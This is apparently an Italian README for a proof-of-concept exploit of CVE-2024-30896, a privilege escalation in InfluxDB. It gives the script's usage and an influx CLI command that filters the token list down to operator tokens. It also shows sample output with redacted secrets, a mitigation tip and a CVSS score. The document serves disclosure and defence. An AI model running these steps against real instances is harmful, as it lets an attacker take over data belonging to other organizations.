
Exploit proof-of-concept per CVE-2024-30896, una vulnerabilità di escalation dei privilegi in InfluxDB che consente ai titolari di token allAccess di ottenere accesso a livello di operatore tramite l'elenco dei token di autorizzazione.
Un difetto nella logica di business di influxdb consente agli utenti che possiedono un token allAccess valido di escalare i propri privilegi a livello di operatore elencando i token di autorizzazione correnti.
L'attaccante potrebbe essere un utente a cui un amministratore ha concesso l'accesso tramite un token allAccess solo all'interno della propria organizzazione. I permessi di questo utente consentiranno il pieno controllo sull'organizzazione, ma gli impediranno comunque di interagire con altre organizzazioni.
Questa vulnerabilità consentirebbe a un utente di ottenere accesso illimitato all'istanza di influxdb. Una condizione simile potrebbe compromettere completamente la Riservatezza, l'Integrità e la Disponibilità dei dati di proprietà di utenti di diverse organizzazioni. Inoltre, poiché il token operatore ha permessi amministrativi, la Disponibilità e l'Integrità dell'intera istanza di influxdb potrebbero essere compromesse.
Utilizzo dello script
% python3 ./influxdbPrivescCVE_PoC.py -h
usage: influxdbPrivescCVE_PoC.py [-h] [-t TOKEN] [-e ENDPOINTURL] [-v [VERBOSE]] [-vv [VVERBOSE]]
optional arguments:
-h, --help show this help message and exit
-t TOKEN, --token TOKEN
Custom or allAccess token to access influx DB instance
-e ENDPOINTURL, --endpointUrl ENDPOINTURL
Endpoint Url of influxdb instance (ex. "https://myInfluxdbInstance:8086/")
-v [VERBOSE], --verbose [VERBOSE]
Enable verbose logging - INFO
-vv [VVERBOSE], --vverbose [VVERBOSE]
Enable verbose logging - DEBUG
influx auth ls -t <allAccessToken> | grep write:/orgs. Questo elencherà tutti i token operatore attivi correnti sull'istanza di influxdb.Esempio
# Using an allAccess token
influx auth ls -t U1OuqmFC{REDACTED} | grep U1OuqmFC{REDACTED}
0cc41c3b050e5000 U1OuqmFC{REDACTED}
admin 0cb9c92ee228b000 [read:orgs/87d0746948a3b3f5/authorizations write:orgs/87d0746948a3b3f5/authorizations read:orgs/87d0746948a3b3f5/buckets write:orgs/87d0746948a3b3f5/buckets read:orgs/87d0746948a3b3f5/dashboards write:orgs/87d0746948a3b3f5/dashboards read:/orgs/87d0746948a3b3f5 read:orgs/87d0746948a3b3f5/sources write:orgs/87d0746948a3b3f5/sources read:orgs/87d0746948a3b3f5/tasks write:orgs/87d0746948a3b3f5/tasks read:orgs/87d0746948a3b3f5/telegrafs write:orgs/87d0746948a3b3f5/telegrafs read:/users/0cb9c92ee228b000 write:/users/0cb9c92ee228b000 read:orgs/87d0746948a3b3f5/variables write:orgs/87d0746948a3b3f5/variables read:orgs/87d0746948a3b3f5/scrapers write:orgs/87d0746948a3b3f5/scrapers read:orgs/87d0746948a3b3f5/secrets write:orgs/87d0746948a3b3f5/secrets read:orgs/87d0746948a3b3f5/labels write:orgs/87d0746948a3b3f5/labels read:orgs/87d0746948a3b3f5/views write:orgs/87d0746948a3b3f5/views read:orgs/87d0746948a3b3f5/documents write:orgs/87d0746948a3b3f5/documents read:orgs/87d0746948a3b3f5/notificationRules write:orgs/87d0746948a3b3f5/notificationRules read:orgs/87d0746948a3b3f5/notificationEndpoints write:orgs/87d0746948a3b3f5/notificationEndpoints read:orgs/87d0746948a3b3f5/checks write:orgs/87d0746948a3b3f5/checks read:orgs/87d0746948a3b3f5/dbrp write:orgs/87d0746948a3b3f5/dbrp read:orgs/87d0746948a3b3f5/notebooks write:orgs/87d0746948a3b3f5/notebooks read:orgs/87d0746948a3b3f5/annotations write:orgs/87d0746948a3b3f5/annotations read:orgs/87d0746948a3b3f5/remotes write:orgs/87d0746948a3b3f5/remotes read:orgs/87d0746948a3b3f5/replications write:orgs/87d0746948a3b3f5/replications]
# Listing all available tokens passing allAccess token and retrieving only operator level tokens
influx auth ls -t U1OuqmFC{REDACTED} | grep write:/orgs
0cbb920e128e5000 gerKYLO0Ph_ibUk0y{REDACTED}
admin 0cb9c92ee228b000 [read:/authorizations write:/authorizations read:/buckets write:/buckets read:/dashboards write:/dashboards read:/orgs write:/orgs read:/sources write:/sources read:/tasks write:/tasks read:/telegrafs write:/telegrafs read:/users write:/users read:/variables write:/variables read:/scrapers write:/scrapers read:/secrets write:/secrets read:/labels write:/labels read:/views write:/views read:/documents write:/documents read:/notificationRules write:/notificationRules read:/notificationEndpoints write:/notificationEndpoints read:/checks write:/checks read:/dbrp write:/dbrp read:/notebooks write:/notebooks read:/annotations write:/annotations read:/remotes write:/remotes read:/replications write:/replications]
I token allAccess hanno per impostazione predefinita il permesso di elencare tutte le autorizzazioni definite nella stessa Organizzazione senza restrizioni basate sul tipo (personalizzato, allAccess, operatore) -> read:orgs/87d0746948a3b3f5/authorizations.
Quando viene eseguito, influx setup creerà la prima organizzazione (predefinita), in cui un token operatore verrà automaticamente archiviato. Agli utenti dovrebbe essere concesso l'accesso solo alle organizzazioni secondarie create.
Si consiglia di creare più organizzazioni e fornire agli utenti solo quelle che non contengono un token operatore.
Punteggio Base CVSS: 9.1
Vettore CVSS v3.1: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H